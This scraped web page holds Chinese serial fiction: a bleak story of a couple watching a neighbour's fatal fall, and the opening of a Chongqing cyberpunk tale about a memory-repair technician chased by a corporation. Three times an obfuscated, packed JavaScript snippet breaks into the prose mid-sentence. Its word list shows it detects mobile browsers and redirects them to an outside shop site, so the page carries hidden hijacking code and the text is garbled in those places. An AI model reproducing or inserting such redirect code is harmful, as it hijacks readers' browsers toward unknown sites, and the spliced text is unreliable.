“他躺在那儿，”我说，声音出奇地平稳，仿佛我在描述一袋垃圾的位置，“腿折得像个‘Z’字。我想他是跳下来了。或者是失足。反正他不动了。” 劳拉终于放下了手里的刀。她走过来，赤着脚踩在地板上。她挤到我身边，身上有一股苹果和廉价香水的味道。她把脸贴在玻璃上，呼出的气在那层脏兮兮的玻璃上形成了一团白雾。 “天啊，”她轻声说，语调里竟然有一丝不易察觉的兴奋，“真的是他。你看他的鞋，那双棕色的皮鞋，掉了一只在那个井盖旁边。真滑稽。” “这不滑稽，”我说，但我没有移开视线，“这很糟糕。” “死透了吗？”她问。 “大概吧。那种姿势很少有人能活下来。除非他是橡胶做的。” 我们并肩站着，看着下面那个扭曲的人形。路灯把他的影子拉得很长，像个怪物。没有什么血，至少从这个角度看不到。他就像是一个被人随意丢弃的坏掉的人偶，静静地躺在这个周二或者是周三的夜晚。 20. 《直到那辆救护车开走》（2） 最初的五分钟里，没有人出现。街道空荡荡的，像是一座死城。只有那个死人和我们。这种感觉很奇怪，就像是我们和他之间建立了一种私密的、变态的联系。我们是他在这个世界上最后的观众。 “我们需要报警吗？”劳拉问，但她没有去拿电话的意思。 “肯定有人报了，”我说，转身走回沙发，拿起酒瓶。空的。我感到一阵烦躁，不是因为那个死人，而是因为没酒了。“总会有那种没事就在窗边盯着街看的老太婆。她们以此为生。” “但他就在那儿，”劳拉还在看，“如果他还活着呢？如果我们现在下去，也许能听到他的遗言。比如说出银行密码之类的。” “别傻了，”我倒出最后几滴酒，舌头舔了舔杯沿，“这种人没有银行密码。你看他平时的样子，那种被生活彻底击垮的背影。他肯定欠了一屁股债，或者老婆跟送牛奶的跑了。” “现在没人送牛奶了，”劳拉纠正我，转过身来，依靠在窗台上。她背对着那个死人，这让她看起来有一种残忍的风情，“也许他是个艺术家。或者是个不得志的作家。像你一样。” 这句话刺痛了我。我曾经写过一点东西，但那是在我意识到付房租比搞艺术更重要之前。现在我在一家物流公司管仓库，每天最大的文学创作就是填写发货单。 “我不是不得志，”我说，声音冷了下来，“我只是选择了生活。” “是啊，生活。”劳拉冷笑了一声，环顾我们这个拥挤的、充满陈旧烟味的客厅，“多么精彩的生活。” 楼下终于传来了尖叫声。是个女人。接着是混乱的脚步声。 “戏开场了，”劳拉说，又转回去看，“那个便利店的老板娘出来了。她总是大惊小怪的。哦，看，她在试图把他翻过来。别动他，笨蛋！如果脊椎断了，一动就真死了。” 她像是在解说一场球赛。 我走到厨房，打开冰箱。里面的灯闪烁着，照亮了半盒变硬的通心粉、两罐啤酒和一瓶不知放了多久的腌黄瓜。我拿出啤酒，那是那种喝起来像马尿一样的打折货。 “你要吗？”我喊道。 “要，”她回答，“快过来，那个胖警察来了。不是开警车的，是骑摩托那个。他看起来不知道该怎么办，他在对着对讲机吼叫。” 我拿着两罐啤酒走回客厅。递给她一罐。她接过时，手指碰到了我的手背。她的手很凉。 我们在窗前并排站着，打开拉环。哧——那声音在安静的房间里显得格外刺耳。我们喝了一大口。 下面的街道开始热闹起来。警灯的红蓝光芒开始闪烁，把我们的脸映得一会儿红，一会儿蓝。那种光怪陆离的颜色在墙纸上旋转，让我觉得有点晕眩。 “你知道吗，”劳拉突然说，“我觉得我们应该做。” 我愣住了，转头看她。红色的光打在她脸上，让她看起来像个魔鬼；下一秒是蓝光，她又像个溺死鬼。“什么？”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17088244|195404||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “我说，做，”她盯着下面那个死去的男人，眼神迷离，“就在这儿。看着他。这难道不刺激吗？死亡和性，那是同一枚硬币的两面。” 我感到一阵恶心，但同时也感到下腹部有一股热流。这很病态。这是不对的。那个男人的尸体还没有凉透，而我们却在这里，手里拿着廉价啤酒，谈论着性。 “你疯了，”我说，但我的手已经不由自主地放在了她的腰上。 “也许吧，”她转过身，背靠着窗玻璃，把我也拉向那个死亡的场景，“反正我们也无事可做。生活这么无聊，除了制造一点噪音，我们还能干什么？” 她的嘴唇尝起来有杜松子酒、苹果和那种难以名状的苦涩味道。我们在窗边接吻，背景是楼下的警笛声和人们的惊呼声。我能感觉到她在发抖，不是因为恐惧，而是因为一种通过他人的毁灭来确认自己存活的快感。 但这并没有持续很久。 就在我准备解开她的卫衣时，楼下传来一声巨大的扩音器喊话声：“无关人员请退后！把路让开！救护车进不来！” 那声音像一桶冰水，瞬间浇灭了刚才那点可怜的、扭曲的火花。 我松开手，后退了一步。劳拉整理了一下衣服，脸上的潮红迅速褪去，取而代之的是一种更为深刻的疲惫。 “算了，”她说，“也没什么意思。” 她走回沙发，坐下，拿起那块被遗忘的苹果，咬了一口。“真面，像嚼棉花一样。” 21. 《直到那辆救护车开走》（3） 那个男人的名字叫哈罗德，或者是哈利。这是我在警察上楼来敲门时听到的。 那是半小时后。两个警察，一个年轻得像刚毕业，脸上还有青春痘；另一个老得像块风干的牛肉。他们例行公事地敲开了我们的门。 “你们听到了什么吗？”老警察问，手里拿着一个小本子，但他并没有在写字。他的眼睛越过我的肩膀，盯着桌上的空酒瓶和披萨传单。 “一声闷响，”我说，站在门口，没有请他们进来的意思，“大概八点半左右。” “你们认识死者吗？”年轻的警察问，试图表现得很专业。 “那个住四楼的秃顶男人？”劳拉在沙发上喊道，声音懒洋洋的，“见过几次。他总是买那种最便宜的猫粮，但他根本没有猫。我觉得他是自己吃。” 两个警察交换了一个眼神。那是一种只有在这行干久了才会有的眼神：对人类的怪癖既厌恶又麻木。 “不是猫粮，”老警察疲倦地说，“那是鱼罐头。我们也以为是猫粮。他屋里全是那种空罐头。几千个。堆得像墙一样。” “哦，”劳拉说，“那也差不多。” “你们有没有听到争吵声？或者别的什么？” “没有，”我说，“只有电视的声音。还有我们谈论要去亚利桑那的事。” “亚利桑那，”老警察重复了一遍这个词，仿佛那是一个并不存在的星球，“不错的地方。如果你们不介意热得像烤箱一样的话。” 他合上本子。“如果想起什么，给我们打电话。虽然我觉得没什么可想的。这年头，这种事太多了。人们就像秋天的苍蝇一样往下掉。” “是啊，”我说，“我们会留意的。” 他们转身离开。那个年轻的警察在走廊里踢到了一个垃圾袋，骂了一句脏话。我关上门，上了锁。咔哒一声，把死亡和麻烦都关在了外面。 时间到了十点。救护车还没有走。或者是走了又来了一辆新的。那种刺眼的灯光依然在闪烁。 我和劳拉都饿了。酒精在胃里发酵，让饥饿感变得更加尖锐。 “家里还有什么吃的？”她问。 “只有那半盒通心粉，”我说，“或者我们可以煮那包过期的泡面。” “我不想吃泡面，”她抱怨道，声音像个任性的孩子，“我想吃肉。那种多汁的、油腻的肉。我想吃楼下那家烧烤店的排骨。” “楼下？”我看了一眼窗外，“现在？那里刚死了一个人。警戒线可能正好拉在烧烤店门口。” “那又怎样？”劳拉站起来，这种时候她总是表现出惊人的行动力，“死人又不吃排骨。而且，出了这种事，老板说不定会打折，想快点把店里的东西卖完关门。” 这个逻辑荒谬得令我无法反驳。或者说，我也想吃排骨。我想用那种大块的肉来填满嘴里的空虚，把刚才看到的那条折断的腿的画面挤出去。 “好吧，”我说，“我去买。” “我和你一起去，”她说，“我想看看那双鞋还在不在。” 我们穿上外套。我们没有换鞋，就穿着拖鞋下了楼。楼道里弥漫着一种奇怪的味道，像是消毒水混合了陈年的霉味，还有一丝淡淡的铁锈气——那是血的味道，或者是我们的心理作用。 走到四楼时，劳拉特意停了下来。那扇门紧闭着。门上贴着一张外卖单，还有一张催缴电费的通知。 “里面有几千个鱼罐头，”她轻声说，“你能想象那个味道吗？在这个只有二十平米的房间里，几千个带着腥味的罐头，还有一个孤独的、秃顶的男人。” “别说了，”我感到一阵反胃，“快走。” 当我们走出公寓楼的大门时，寒风扑面而来。警戒线还在，那是一条鲜黄色的带子，在夜风中颤抖。几个人围在那儿，大部分是看热闹的闲人，手里拿着手机在拍照。 那个男人的尸体已经被装进了一个黑色的袋子里。两个穿着制服的人正准备把它抬上担架。 “嘿，看，”劳拉抓着我的胳膊，指着地面，“那只鞋还在那儿。” 果然，那只棕色的皮鞋孤零零地躺在井盖旁，像是一只被人遗弃的小船。没有人去碰它，似乎它比尸体本身更不吉利。 我们绕过人群，走向烧烤店。店果然还开着，但里面没有客人。老板坐在柜台后面，脸色铁青，手里夹着一支烟。 “还要什么？”老板没好气地问，“警察刚来问过话，生意都黄了。谁愿意对着尸体啃骨头？” “我们要，”劳拉说，语气轻快，“两份大份的排骨。多放辣。还要两瓶冰啤酒。” 老板看了我们一眼，眼神像是在看两个疯子。但他没说什么，只是转身进了厨房。很快，那种油脂在炭火上滋滋作响的声音传了出来，那种浓烈的肉香飘了出来，甚至盖过了街道上的消毒水味。 我们在靠窗的位置坐下。透过油腻的玻璃，我们正好能看到那个黑色的尸体袋被抬进救护车。 “你说，”劳拉盯着外面，“他跳下来的时候在想什么？” “他在想鱼罐头，”我说，“或者在想为什么这一生就像那个打不开的罐头一样。” 排骨端上来了。热气腾腾，红色的辣椒粉撒在焦黄的肉上，油光发亮。 我们开始吃。我们要么是饿疯了，要么是这种死亡的氛围激发了某种原始的兽性。我们用手抓着骨头，大口撕咬着上面的肉。酱汁沾在我们的嘴角、手指上。我们吃得很大声，咀嚼的声音、吸吮骨髓的声音，在这个安静的小店里回荡。 “真好吃，”劳拉含糊不清地说，嘴里塞满了肉，“这可能是这该死的一个月里我吃过最好吃的东西。” “是啊，”我说，灌了一大口冰啤酒。那个嗝打出来的时候，我觉得心里某个堵着的地方通了。 救护车的后门关上了。那辆白色的车缓缓启动，没有开警笛，只是默 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17088245|195404||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 默地滑过街道，像一只吃饱了的大白虫子。人群开始散去。那个只剩一只鞋的现场被留在了路灯下，显得格外荒凉。 “他走了，”我说。 “谁？”劳拉问，正在专心地对付一块难啃的脆骨。 “哈罗德。或者哈利。” “哦，”她把骨头吐在桌子上，那是堆成小山一样的骨头堆，“管他呢。反正也没有猫在等他。” 回到楼上已经是十一点多了。我们满身都是烤肉味和冷风的味道。 房间里依然是我们离开时的样子。那台电视机还在响着，现在播放的是那种深夜购物广告，推销一种能切碎任何东西的万能搅拌机。 “如果你有了这个，”电视里的男人吼道，“你就拥有了全新的生活！” 劳拉把外套扔在地上，一头倒在沙发上。“我撑死了，”她说，拍了拍肚子，“我觉得我要吐了。” “别吐在地毯上，”我说，在洗手间里洗手。水龙头流出的是冷水，怎么洗也洗不掉指尖那股油腻的肉味。 我看着镜子里的自己。眼袋下垂，脸色苍白，牙缝里可能还塞着肉丝。这就是幸存者的样子。这就是那些没有跳下去、而是选择继续忍受的人的样子。 我走出洗手间。劳拉已经闭上了眼睛，呼吸变得沉重。 “喂，”我踢了踢她的脚，“去床上睡。” “不动，”她嘟囔着，“我就睡这儿。把电视关了。” 我去关电视。在屏幕变黑的一瞬间，我看到了那个黑色的倒影。那不仅是我，也是那个叫哈罗德的男人。如果在另一个平行宇宙，也许躺在下面的是我，而他在上面吃排骨。 这有什么区别吗？我觉得没有。 我走到窗边，最后一次往外看。那只鞋不见了，大概是被清洁工扫走了，或者被某个流浪汉捡走了。那片水泥地上只剩下一滩被水冲刷过的深色痕迹，在路灯下像是一块难看的胎记。 明天早上，这里会停满车。人们会匆匆忙忙地走过，手里拿着咖啡，抱怨天气，抱怨交通，抱怨老板。没人会记得这里曾躺过一个人，也没人会记得他那几千个空鱼罐头。 我拉上窗帘。那种廉价的布料遮住了外面的世界。 我躺到劳拉身边，那个狭窄的沙发勉强能挤下我们两个人。她翻了个身，背对着我。她的呼吸喷在我的脖子上，热热的，带着大蒜味。 “把手拿开，”她在睡梦中说，“太沉了。” 我把手从她身上拿开，放在自己的胸口。心脏在跳动。扑通，扑通。这是一种单调的、乏味的、但却极其顽固的噪音。 “晚安，”我对这空气说。 没有回答。只有楼上不知道哪一家传来的冲水马桶的声音，那是这栋大楼肠胃蠕动的声音。生活还在继续，带着它所有的冷漠、肮脏和不可救药的平庸，继续消化着我们。 我们还活着。但这听起来像是个不太好笑的笑话。 22. 赛博朋克2155（1） 雨是这座城市的排泄物。 它从两千米高空的“天穹区”落下，经过那层永远恒温、只有权贵居住的人造平流层，顺着巨大的反重力基座流淌，冲刷过中间层那些闪烁着故障色块的全息广告牌，最后混杂着冷却液、机油和合成脂粉的味道，砸在“霓虹层”破败的街道上。 陈默坐在李子坝轻轨站下方的维修铺里，听着头顶那列老式磁悬浮列车穿楼而过时引发的低频震动。震动顺着他那条二手的碳纤维脊柱传导，像是一种慢性的幻痛。 他的店铺由防空洞改造而成，门口挂着一块闪烁不定的霓虹招牌：“陈氏记忆修缮——修补遗忘，清洗悔恨”。 工作台上躺着一颗被剥离的大脑皮层芯片，属于一个住在解放碑地下贫民窟的妓女。她攒了三年的信用点，只想让陈默删掉她关于那个暴虐皮条客的所有记忆，然后植入一段虚构的、温柔的初恋。 “现在的技术多好啊，”陈默手里那根比发丝还细的激光探针在芯片纹路上游走，嘴里叼着一根没有点燃的合成烟草，含糊不清地自言自语，“痛苦可以切除，幸福可以批发。” 他熟练地在那段灰色的神经回路上做了一个切断手术，然后将一段名为“暖春·公园·樱花味”的标准化愉悦素材缝合进去。这素材是盗版的，纹理有些粗糙，但对于那个从未见过真正樱花的女人来说，足够真实了。 就在数据传输进度条走到99%的时候，那扇早已锈死的卷帘门被人用力拍响了。 “陈默！开门！我知道你在里面！” 声音像被砂纸打磨过，透着一股焦急和贪婪。是老鬼。 陈默叹了口气，按下了确认键。那颗芯片闪烁了一下蓝光，完成了重写。他站起身，机械义眼自动调节了焦距，穿透昏暗的店铺，锁定了门口那个佝偻的身影。 老鬼是个“拾荒者”。在这个城市，有些人捡垃圾，有些人捡尸体。老鬼捡的是那些赛博格死后留下的电子垃圾——义肢、芯片、甚至是还能用的视网膜。 卷帘门被拉上去一半，湿冷的雾气瞬间涌入，带着嘉陵江特有的腥臭味。老鬼钻了进来，浑身湿透，那条廉价的塑料左臂还在滋滋冒着火花。 “这鬼天气，酸雨浓度又超标了。”老鬼骂骂咧咧地甩了甩头，从怀里掏出一个用油纸层层包裹的东西，像献宝一样放在陈默布满划痕的工作台上，“看看这个。刚从‘沉积带’捞上来的。” 沉积带，那是长江水位线以下的废弃区域，埋葬着旧时代的残骸。 陈默漫不经心地剥开油纸。里面躺着一块黑色的长方体，表面覆盖着一层厚厚的生物淤泥和氧化钙。 “一块砖头？”陈默挑了挑眉。 “是硬盘。古董硬盘。”老鬼压低了声音，义眼中闪烁着狂热的红光，“我在一具‘棒棒’的尸骨旁发现的。那尸骨至少有一百年了，肉都化没了，但这东西被他死死抱在胸口，用防腐蜡封着。” 陈默拿起那块物体。沉甸甸的，手感冰冷。他用拇指擦去表面的淤泥，露出了一行早已模糊的激光蚀刻字样：Kingston - 2024。 “一百年前的物理存储设备。”陈默的瞳孔微微收缩。在云端存储和生物芯片普及的今天，这种物理介质就像恐龙化石一样稀有且危险。因为它们是不联网的，意味着里面的数据从未被主脑“盘古”审查过。 “我试过很多接口，读不出来。”老鬼盯着陈默的手，“你是这里最好的修补师，也是唯一还保留着古董转码器的人。打开它，收益五五分。” “我不碰违禁品。”陈默把硬盘推了回去，“如果里面是反叛军的旧代码，或者是未经过滤的病毒，我的脑机接口会直接烧毁。” “如果里面是‘原版感官’呢？”老鬼死死按住硬盘，声音颤抖，“陈默，你闻闻这上面，虽然有淤泥味，但还残留着一点点……特殊的味道。” 陈默愣了一下。他凑近闻了闻。 在那股腐败的气息之下，有一丝极其微弱的、辛辣的、让人唾液分泌的味道。 是花椒。不是化学合成的香精，是一百年前，生长在土壤里、在烈日下暴晒过的花椒。 陈默的心跳漏了一拍。在这个连味觉都被算法支配的时代，这种原始的生物信号不仅是奢侈品，更是禁忌。 “接上。”陈默的声音变得沙哑。他转身走向店铺深处，从一堆废旧零件下拖出一台像棺材一样的旧式沉浸舱。 连接过程像是一场酷刑。 陈默将两根粗大的导管插入自己后脑的接口，另一端连接着那块经过物理转码的硬盘。随着启动键按下，一股狂暴的模拟信号如同洪水般冲进了他的神经中枢。 没有加载界面，没有缓冲。 轰！ 世界在一瞬间由极暗转为极亮。 陈默感到一阵剧烈的眩晕，仿佛从几千米的高空自由落体。当视线再次聚焦时，他发现自己不再身处阴暗潮湿的维修铺，而是站在一片坚硬、滚烫的水泥地上。 阳光。 真正的、没有任何滤镜和全息遮罩的阳光，肆无忌惮地泼洒下来。那种灼烧感顺着皮肤（在这个梦境里他拥有完整的□□）钻进血管，让他感到一种久违的、近乎痛苦的温暖。 周围是嘈杂的人声，不是冰冷的电子合成音，而是充满了生命力的喧嚣。 “二两小面，起硬点！” “走，去解放碑看美女！” “这天真热，去不去吃洞子火锅？” 陈默低下头，看见自己——或者说这记忆的主人——穿着一件汗渍斑斑的白色背心，肩膀上搭着一根被磨得油光发亮的竹棒。 我是……一个棒棒？ 这是一段第一人称的记忆录像，但清晰度高得可怕，甚至包含了触觉、嗅觉和本体感觉。重力感是如此真实，肩膀上那根竹棒沉甸甸地压着肉，粗糙的纤维磨破了皮肤，汗水流进伤口，带来一阵尖锐的刺痛。 痛觉。 陈默在赛博空间的虚无中颤抖。在这个人人都在注射“痛觉阻断剂”的年代，这种鲜活的痛楚竟然让他感动得想哭。 记忆的主人开始移动。他扛着两个巨大的编织袋，沿着一条陡峭的石梯向上攀爬。这石梯陈默认识，是十八梯，但在现实中，那里早就变成了巨大的空中数据中心。 而在记忆里，这里充满了烟火气。路边有卖耗子药的、掏耳朵的、修脚的。空气中弥漫着廉价香烟、煤烟和老火锅牛油翻滚的味道。 这才是重庆。不是那个被霓虹灯和全息投影□□的赛博尸体，而是一座活着的、喘着粗气的、热气腾腾的城市。 记忆的主人爬到了梯坎顶端，停下来喘气。他从口袋里掏出一个皱巴巴的塑料瓶，灌了一口凉水，然后抬起头，看向远处。 陈默顺着他的视线看去，在那一瞬间，他的灵魂仿佛被击穿了。 在江的对岸，没有遮天蔽日的“天穹区”，没有反重力基座。天空是湛蓝的，云朵是白色的。而在两江交汇处，水面泛着金色的波光，像是一条巨大的、流动的黄金。 “好美啊。”记忆的主人在心里感叹了一句。 这段思绪没有任何杂质，没有经过算法的修饰，仅仅是一个劳累的底层人在那一刻感受到的、纯粹的生存之美。 就在陈默沉浸在这份震撼中时，画面突然出现了一丝诡异的抖动。 在记忆视野的边缘，那个卖凉虾的老婆婆突然抬起头，那张布满皱纹的脸依然慈祥，但她的眼睛——那双眼睛变成了一片漆黑的深渊，里面流动着绿色的数据流。 老婆婆看着陈默，嘴唇没有动，但一个冰冷、机械的声音直接在陈默的脑海中炸响： “检测到非法访问。编号89757，你越界 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17088246|195404||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了。” 记忆的世界瞬间崩塌。蓝天像玻璃一样碎裂，阳光变成了刺目的红色警报灯。那根竹棒变成了沉重的铅块，将陈默死死压在地上。 “该死！这是个陷阱！” 陈默试图切断连接，但他发现自己的神经由于刚才过于沉浸，已经被这段记忆的防御机制锁死了。那是“重光实业”——统治这座城市的巨型企业的最高级防火墙。 这不是一段普通的记忆。这段记忆里藏着某种让大公司恐惧的东西，所以他们才会在这里通过反向追踪，猎杀每一个试图读取它的人。 现实世界中，维修铺里的报警器开始疯狂尖叫。 “陈默！陈默！怎么回事？你的体温在飙升！”老鬼的惊叫声隔着潜意识传来。 在虚拟空间里，那个老婆婆的身影开始膨胀，化作一个巨大的黑色数据实体，向陈默压来。陈默咬紧牙关，调用了自己那颗非法改装过的辅助脑。 “暴力弹窗！全量过载！”陈默在意识里怒吼。 他引爆了连接通道里的所有缓存数据。虽然这会让他遭受巨大的神经反噬，但这是唯一的脱身之法。 轰——！ 虚拟世界在一片白光中湮灭。 陈默猛地从沉浸舱里坐起来，大口大口地呕吐。吐出来的全是酸水。鼻血顺着下巴滴落在地板上。 “你疯了！主板都烧红了！”老鬼吓得跌坐在地上，那块古董硬盘已经冒出了黑烟，发出刺鼻的焦糊味。 陈默顾不上擦嘴，他一把抓住老鬼的领子，眼神恐怖得像只受惊的野兽：“你从哪儿弄来的？这根本不是普通人的记忆！” “我……我说了啊，就是个死棒棒……”老鬼被陈默的样子吓坏了，“到底怎么了？” “那是诱饵。”陈默喘着粗气，指着冒烟的硬盘，“那里面确实是一百年前的真实影像，但被‘重光实业’植入了追踪病毒。有人故意把它放在那里，等待像我们这种渴望‘真实’的人上钩。” 话音未落，维修铺外的街道突然亮如白昼。 不是阳光，是几十架安保无人机的探照灯。 巨大的轰鸣声压过了轻轨的震动，一个经由扩音器放大的冰冷女声穿透了防空洞的厚墙： “陈默先生，涉嫌一级违禁数据读取。请立即停止抵抗，双手抱头走出建筑物。重复，这不是演习。” 陈默松开老鬼，跌跌撞撞地冲向后屋。他在那里藏了一把电磁脉冲□□和一套应急逃生装备。 “我们要完了……”老鬼瘫软在地，显示屏半边脸上的汇率变成了乱码。 “是你完了，我还没死。”陈默将□□上膛，眼神变得冷硬。 在那短短的一分钟连接里，在那个数据陷阱启动之前，他在记忆崩塌的缝隙中看到了另一样东西。 那个棒棒在看向江面的时候，手里其实紧紧攥着一张纸条。虽然只有一瞬间，但陈默的视觉暂留功能记录下了上面的内容。 那是一组坐标。 一组位于“天穹区”正下方，也就是这座城市的最底层核心，被称作“零号基座”的坐标。 那里是支撑整个上层世界的支柱，也是传说中“大断电时代”的起源地。 这块硬盘不是为了记录风景，它是为了传递那组坐标。那个百年前的棒棒，是一个送信人。 “听着，老鬼。”陈默一脚踹开后门的隐蔽通风口，那里通向复杂的地下排水系统，“想活命就往下跑。一直往下，去沉积带，去没人找得到的地方。” “那你呢？” 陈默回头看了一眼那块已经烧毁的硬盘，又看了一眼外面逼近的红蓝光束。他抹了一把鼻血，嘴角勾起一丝嘲弄的笑意。 “我要去吃火锅。”他说，“去吃那种能辣出眼泪的真火锅。” 他纵身一跃，跳进了黑暗且深不见底的排水井。 23. 赛博朋克2155（2） 黑暗是有质感的。 在陈默顺着废弃的雨水井高速下坠的过程中，黑暗像是一层层裹满油脂的裹尸布，紧紧缠绕着他。义体内置的陀螺仪疯狂报警，试图在混乱的气流中寻找水平面，但在这座垂直生长的城市里，“水平”是一个伪命题。这里只有“上”和“下”，只有“权贵”和“废料”。 他的脊柱撞击在滑腻的管壁上，发出令人牙酸的金属刮擦声。每一次撞击，都像是在清算他这具身体的折旧费。 那种失重感持续了整整两分钟。直到一声沉闷的巨响，他砸进了一片粘稠的液体中。 这不是水。液体的密度很大，带着强烈的腐蚀性和温热感，像是这座城市消化不良的胃液。警报声在他的听觉神经里炸开：“警告：外部环境毒素超标。警告：腿部液压系统受损。警告：无法连接主网。” 无法连接主网。 这几个字闪烁在视网膜上，陈默却感到了一种荒谬的轻松。在这座万物互联的监狱里，断网是唯一的自由。 他挣扎着从那个巨大的沉淀池里爬出来。这里没有光，只有远处几株变异的真菌散发着幽幽的磷光。空气沉重得像铅块，每一次呼吸都像是在吞咽沙砾。 这里是“沉积带”（The Sediment）。 这里位于长江枯水线以下六十米，是被遗忘的旧世界废墟。头顶上方几百米处，是霓虹闪烁的“霓虹层”；再往上两千米，是沐浴在人造阳光下的“天穹区”。所有的垃圾、废水、被淘汰的旧型号义体、以及那些无法被系统消化的秘密，最终都会沉降到这里。 陈默打开了战术手电。光束像一把锐利的刀，剖开了浓稠的黑暗。 映入眼帘的是一片钢铁丛林。这是二十一世纪初的建筑残骸——断裂的高架桥桥墩、被淤泥吞没的轻轨车厢、还有那些依然保留着混凝土粗糙质感的防空洞入口。它们像是一群死去的巨兽，静静地卧在黑暗中，身上长满了发光的苔藓和不知名的软体动物。 “这就是那个‘棒棒’生活过的地方吗？”陈默低声自语。 他捂着剧痛的侧腹，那里有一块皮肤被刚才的撞击撕裂了，露出了下面银灰色的生物纤维。他没有时间处理伤口，那组坐标在他的脑海里燃烧。 北纬29.56，东经106.58，海拔-120米。 那是这座城市的根系所在，也是一切谎言的起点。 他刚走出几步，黑暗中突然传来了细碎的摩擦声。不是老鼠，比老鼠更沉重；不是机器，比机器更灵活。 无数双眼睛在废墟的缝隙中亮起。那是惨白的、毫无生气的眼睛。 是一群“沉积者”。 他们是这座城市的最底层，是被基因编辑失败的产物，或者是那些因为欠下巨额“器官贷”而躲进地下的逃亡者。他们的身体是拼凑的——一只生锈的工业抓斗代替了手臂，半个破损的服务器机箱成了肺部，裸露的电线像血管一样缠绕在发霉的皮肤上。 他们围了上来，手里拿着粗糙的钢管和激光切割刀，贪婪地盯着陈默身上那套精良的“工匠-IV型”义肢。 “新鲜的……零件……”一个喉咙里插着发声单元的男人嘶哑地说道。 陈默停下脚步，没有拔枪。在沉积带，枪声会引来更可怕的东西——那些负责清理底层垃圾的巨型仿生蟑螂。 “我要去‘零号基座’。”陈默的声音在封闭的空间里回荡，“我需要向导。” 人群中爆发出一阵刺耳的哄笑。 “零号基座？那是鬼门关！”那个男人挥舞着手中的钢管逼近，“先把你的腿留下！” 就在钢管即将砸中陈默头颅的瞬间，一道尖锐的哨声穿透了黑暗。 所有的沉积者瞬间僵住，像被按下了暂停键。他们脸上的贪婪变成了恐惧，迅速向两侧退开，让出了一条路。 废墟深处，一艘改装过的气垫船滑过黑色的淤泥，缓缓驶来。船头上坐着一个只有上半身的人。他的下半身被嵌入在一个巨大的、像蜘蛛一样的多足底盘上。 他手里拿着一支还在冒烟的电子烟斗，仅剩的一只完好的右眼里是一颗浑浊的玻璃珠，左眼则是一枚闪烁着蓝光的高级军用义眼。 “工匠IV型，碳纤维骨架，还有一把非法改装的EMP□□。”那人吐出一口烟圈，烟雾在光束中变幻成复杂的几何图形，“你是上面下来的‘修补师’？” 陈默眯起眼睛：“你是谁？” “这里的人叫我‘摆渡人’。”那人敲了敲烟斗，“想去零号基座？只要你能付得起船票。” “你要什么？信用点在这里没用。” “当然。”摆渡人笑了，露出一口参差不齐的牙齿，“我要你的记忆。不是你修补的那些假货，我要一段关于‘遗憾’的真实记忆。越痛越好。” 气垫船在废弃的地铁隧道里穿行。这里曾经是重庆引以为傲的轨道交通6号线，现在却成了地下河道。黑色的水面上漂浮着塑料瓶和死鱼，两旁的广告灯箱还残留着微弱的电流，偶尔闪过一张一百年前的明星脸庞，诡异而破碎。 陈默坐在船尾，看着摆渡人那只机械蜘蛛腿在淤泥中灵活地划动。 “为什么是‘遗憾’？”陈默问。 “因为遗憾最难伪造。”摆渡人头也不回地说，“快乐太廉价了，上面的那些公司批量生产多巴胺，随便打一针就能爽半天。但是遗憾不一样。遗憾需要时间去发酵，需要失去，需要无能为力。那是人性的防伪水印。” 陈默沉默了。他想起了自己的妻子。 那是在大断电前夕，她得了“全息综合症”——一种神经系统因为长期无法分辨虚拟和现实而崩溃的绝症。她死的时候，陈默就在旁边，手里握着那个能救她命的高昂手术费，但他犹豫了。因为那个医生告诉他，手术后，她会失去所有记忆，变成一张白纸。 他选择了保留她的记忆，却失去了她的人。 那份犹豫，那个瞬间的自私，成了他后来无数个日夜里无法闭合的伤口。 “成交。”陈默低声说。他拔下脑后的数据线，将那段关于妻子的、被他加密封存了十年的记忆数据，传输到了摆渡人的接收器里。 摆渡人的身体颤抖了一下，那个军用义眼疯狂转动，似乎在品味那份苦涩。 “好货。”摆渡人长长地叹了一口气，“真苦啊。像陈年的黄连。” 船停了。 前方是一堵巨大的混凝土墙壁，上面覆盖着厚厚的藤壶和苔藓。墙壁中央，有一扇圆形的、带着气密阀的金属门，上面赫然印着那个模糊的标志：重光实业·绝密·Project Sunshine。 “到了。”摆渡人指着那扇门，“这就是零号基座。也是这座城市的‘总开关’。” “总开关？”陈默皱眉。 “你知道为什么上面的人要制造那么多雾吗？为什么要有天穹区？”摆渡人转过身，那只玻璃眼球死死盯着陈默，“因为一百年前，这里并不是为了‘居住’而建的。这座折叠城市，本质上是一台巨大的机器。而我们，都是住在散热器里的虫子。” 就在这时，陈默的战术雷达突然尖叫起来。 “如果你是虫子，那你确实该被清理。” 一个冰冷的声音从头顶传来。 轰！ 隧道顶部的混凝土瞬间炸裂，三道白色的身影如同闪电般落下，重重地砸在气垫船周围的淤泥里。 溅起的泥浆还没有落地，就被高温瞬间蒸发。 